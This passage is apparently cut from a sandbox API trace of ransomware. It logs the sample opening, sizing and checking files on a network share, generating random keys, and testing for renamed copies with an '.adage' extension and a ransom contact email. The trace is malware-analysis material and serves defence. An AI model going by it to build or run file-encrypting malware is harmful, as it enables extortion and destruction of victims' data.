(lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U2BmDJ.odp" (normalized: "\\\\192.168.0.1\\documents\\u2bmdj.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0043.610] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=32701) returned 1 [0043.610] CloseHandle (hObject=0x14c) returned 1 [0043.611] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U2BmDJ.odp" (normalized: "\\\\192.168.0.1\\documents\\u2bmdj.odp")) returned 0x80 [0043.611] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U2BmDJ.odp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\u2bmdj.odp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0043.611] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U2BmDJ.odp" (normalized: "\\\\192.168.0.1\\documents\\u2bmdj.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.646] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0043.646] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D2y4L1elku1D.pps" (normalized: "\\\\192.168.0.1\\documents\\d2y4l1elku1d.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0043.665] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=22692) returned 1 [0043.665] CloseHandle (hObject=0x14c) returned 1 [0043.665] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D2y4L1elku1D.pps" (normalized: "\\\\192.168.0.1\\documents\\d2y4l1elku1d.pps")) returned 0x80 [0043.666] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D2y4L1elku1D.pps.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\d2y4l1elku1d.pps.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0043.666] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D2y4L1elku1D.pps" (normalized: "\\\\192.168.0.1\\documents\\d2y4l1elku1d.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.758] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0043.759] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bbqSpo4X5l6kKSSGQegr.jpg" (normalized: "\\\\192.168.0.1\\documents\\bbqspo4x5l6kkssgqegr.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.007] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=84570) returned 1 [0044.007] CloseHandle (hObject=0x14c) returned 1 [0044.007] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bbqSpo4X5l6kKSSGQegr.jpg" (normalized: "\\\\192.168.0.1\\documents\\bbqspo4x5l6kkssgqegr.jpg")) returned 0x80 [0044.008] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bbqSpo4X5l6kKSSGQegr.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\bbqspo4x5l6kkssgqegr.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.009] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bbqSpo4X5l6kKSSGQegr.jpg" (normalized: "\\\\192.168.0.1\\documents\\bbqspo4x5l6kkssgqegr.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.369] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.369] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LtLIcHIqo8.wav" (normalized: "\\\\192.168.0.1\\documents\\ltlichiqo8.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.447] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=95072) returned 1 [0044.447] CloseHandle (hObject=0x14c) returned 1 [0044.447] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LtLIcHIqo8.wav" (normalized: "\\\\192.168.0.1\\documents\\ltlichiqo8.wav")) returned 0x80 [0044.448] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LtLIcHIqo8.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ltlichiqo8.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.448] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LtLIcHIqo8.wav" (normalized: "\\\\192.168.0.1\\documents\\ltlichiqo8.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.461] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.461] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eMZLYEuOXmzJe.avi" (normalized: "\\\\192.168.0.1\\documents\\emzlyeuoxmzje.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.474] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=44769) returned 1 [0044.474] CloseHandle (hObject=0x14c) returned 1 [0044.474] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eMZLYEuOXmzJe.avi" (normalized: "\\\\192.168.0.1\\documents\\emzlyeuoxmzje.avi")) returned 0x80 [0044.475] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eMZLYEuOXmzJe.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\emzlyeuoxmzje.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.475] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eMZLYEuOXmzJe.avi" (normalized: "\\\\192.168.0.1\\documents\\emzlyeuoxmzje.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.546] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.546] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\yPKKv7fQ4YK.mkv" (normalized: "\\\\192.168.0.1\\documents\\ypkkv7fq4yk.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.561] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=31115) returned 1 [0044.562] CloseHandle (hObject=0x14c) returned 1 [0044.562] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\yPKKv7fQ4YK.mkv" (normalized: "\\\\192.168.0.1\\documents\\ypkkv7fq4yk.mkv")) returned 0x80 [0044.566] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\yPKKv7fQ4YK.mkv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ypkkv7fq4yk.mkv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.567] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\yPKKv7fQ4YK.mkv" (normalized: "\\\\192.168.0.1\\documents\\ypkkv7fq4yk.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.593] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.593] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YMZNKV4.mkv" (normalized: "\\\\192.168.0.1\\documents\\ymznkv4.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.595] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=30021) returned 1 [0044.596] CloseHandle (hObject=0x14c) returned 1 [0044.596] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YMZNKV4.mkv" (normalized: "\\\\192.168.0.1\\documents\\ymznkv4.mkv")) returned 0x80 [0044.596] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YMZNKV4.mkv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ymznkv4.mkv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.596] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YMZNKV4.mkv" (normalized: "\\\\192.168.0.1\\documents\\ymznkv4.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.621] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.622] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4Qalr2j5fIEqdQ0.swf" (normalized: "\\\\192.168.0.1\\documents\\4qalr2j5fieqdq0.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.627] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=98778) returned 1 [0044.627] CloseHandle (hObject=0x14c) returned 1 [0044.627] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4Qalr2j5fIEqdQ0.swf" (normalized: "\\\\192.168.0.1\\documents\\4qalr2j5fieqdq0.swf")) returned 0x80 [0044.628] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4Qalr2j5fIEqdQ0.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\4qalr2j5fieqdq0.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.628] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4Qalr2j5fIEqdQ0.swf" (normalized: "\\\\192.168.0.1\\documents\\4qalr2j5fieqdq0.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.656] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.656] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2f5wUY1aFYJTCEwR.odp" (normalized: "\\\\192.168.0.1\\documents\\2f5wuy1afyjtcewr.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.661] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=73971) returned 1 [0044.661] CloseHandle (hObject=0x14c) returned 1 [0044.661] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2f5wUY1aFYJTCEwR.odp" (normalized: "\\\\192.168.0.1\\documents\\2f5wuy1afyjtcewr.odp")) returned 0x80 [0044.662] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2f5wUY1aFYJTCEwR.odp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\2f5wuy1afyjtcewr.odp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.662] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2f5wUY1aFYJTCEwR.odp" (normalized: "\\\\192.168.0.1\\documents\\2f5wuy1afyjtcewr.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.692] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.692] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KwuGmh9JdfDxPED09.jpg" (normalized: "\\\\192.168.0.1\\documents\\kwugmh9jdfdxped09.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.699] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=22417) returned 1 [0044.699] CloseHandle (hObject=0x14c) returned 1 [0044.699] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KwuGmh9JdfDxPED09.jpg" (normalized: "\\\\192.168.0.1\\documents\\kwugmh9jdfdxped09.jpg")) returned 0x80 [0044.699] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KwuGmh9JdfDxPED09.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\kwugmh9jdfdxped09.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.699] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KwuGmh9JdfDxPED09.jpg" (normalized: "\\\\192.168.0.1\\documents\\kwugmh9jdfdxped09.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.712] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.712] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EkCDp.xls" (normalized: "\\\\192.168.0.1\\documents\\ekcdp.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.716] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=81511) returned 1 [0044.716] CloseHandle (hObject=0x14c) returned 1 [0044.716] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EkCDp.xls" (normalized: "\\\\192.168.0.1\\documents\\ekcdp.xls")) returned 0x80 [0044.716] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EkCDp.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ekcdp.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.717] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EkCDp.xls" (normalized: "\\\\192.168.0.1\\documents\\ekcdp.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.744] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.744] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VF8E6ekoFe4DVWHEy.flv" (normalized: "\\\\192.168.0.1\\documents\\vf8e6ekofe4dvwhey.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.759] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=41321) returned 1 [0044.759] CloseHandle (hObject=0x14c) returned 1 [0044.759] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VF8E6ekoFe4DVWHEy.flv" (normalized: "\\\\192.168.0.1\\documents\\vf8e6ekofe4dvwhey.flv")) returned 0x80 [0044.760] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VF8E6ekoFe4DVWHEy.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\vf8e6ekofe4dvwhey.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.760] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VF8E6ekoFe4DVWHEy.flv" (normalized: "\\\\192.168.0.1\\documents\\vf8e6ekofe4dvwhey.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.781] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.781] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qWCrNc.m4a" (normalized: "\\\\192.168.0.1\\documents\\qwcrnc.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.828] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=69270) returned 1 [0044.828] CloseHandle (hObject=0x14c) returned 1 [0044.828] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qWCrNc.m4a" (normalized: "\\\\192.168.0.1\\documents\\qwcrnc.m4a")) returned 0x80 [0044.828] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qWCrNc.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\qwcrnc.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.828] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qWCrNc.m4a" (normalized: "\\\\192.168.0.1\\documents\\qwcrnc.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.838] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.838] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z1vXQLb4e3vCWmHziUz.mkv" (normalized: "\\\\192.168.0.1\\documents\\z1vxqlb4e3vcwmhziuz.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.845] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=25913) returned 1 [0044.845] CloseHandle (hObject=0x14c) returned 1 [0044.845] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z1vXQLb4e3vCWmHziUz.mkv" (normalized: "\\\\192.168.0.1\\documents\\z1vxqlb4e3vcwmhziuz.mkv")) returned 0x80 [0044.846] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z1vXQLb4e3vCWmHziUz.mkv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\z1vxqlb4e3vcwmhziuz.mkv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.846] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z1vXQLb4e3vCWmHziUz.mkv" (normalized: "\\\\192.168.0.1\\documents\\z1vxqlb4e3vcwmhziuz.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.857] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.858] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7jSTZlo2FBO75BUO.wav" (normalized: "\\\\192.168.0.1\\documents\\7jstzlo2fbo75buo.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0044.939] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=92164) returned 1 [0044.939] CloseHandle (hObject=0x14c) returned 1 [0044.939] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7jSTZlo2FBO75BUO.wav" (normalized: "\\\\192.168.0.1\\documents\\7jstzlo2fbo75buo.wav")) returned 0x80 [0044.940] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7jSTZlo2FBO75BUO.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\7jstzlo2fbo75buo.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0044.940] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7jSTZlo2FBO75BUO.wav" (normalized: "\\\\192.168.0.1\\documents\\7jstzlo2fbo75buo.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.983] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0044.983] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\S1VrbK55Uey.bmp" (normalized: "\\\\192.168.0.1\\documents\\s1vrbk55uey.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.006] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=99767) returned 1 [0045.006] CloseHandle (hObject=0x14c) returned 1 [0045.006] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\S1VrbK55Uey.bmp" (normalized: "\\\\192.168.0.1\\documents\\s1vrbk55uey.bmp")) returned 0x80 [0045.007] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\S1VrbK55Uey.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\s1vrbk55uey.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.007] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\S1VrbK55Uey.bmp" (normalized: "\\\\192.168.0.1\\documents\\s1vrbk55uey.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.089] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.089] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YizWtOq9sqniAiG.pptx" (normalized: "\\\\192.168.0.1\\documents\\yizwtoq9sqniaig.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.098] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=31083) returned 1 [0045.098] CloseHandle (hObject=0x14c) returned 1 [0045.098] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YizWtOq9sqniAiG.pptx" (normalized: "\\\\192.168.0.1\\documents\\yizwtoq9sqniaig.pptx")) returned 0x80 [0045.099] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YizWtOq9sqniAiG.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\yizwtoq9sqniaig.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.099] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YizWtOq9sqniAiG.pptx" (normalized: "\\\\192.168.0.1\\documents\\yizwtoq9sqniaig.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.146] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0045.146] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ICn9FymqAtw6QQL.ppt" (normalized: "\\\\192.168.0.1\\documents\\icn9fymqatw6qql.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.158] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=61068) returned 1 [0045.158] CloseHandle (hObject=0x14c) returned 1 [0045.158] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ICn9FymqAtw6QQL.ppt" (normalized: "\\\\192.168.0.1\\documents\\icn9fymqatw6qql.ppt")) returned 0x80 [0045.159] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ICn9FymqAtw6QQL.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\icn9fymqatw6qql.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.159] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ICn9FymqAtw6QQL.ppt" (normalized: "\\\\192.168.0.1\\documents\\icn9fymqatw6qql.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 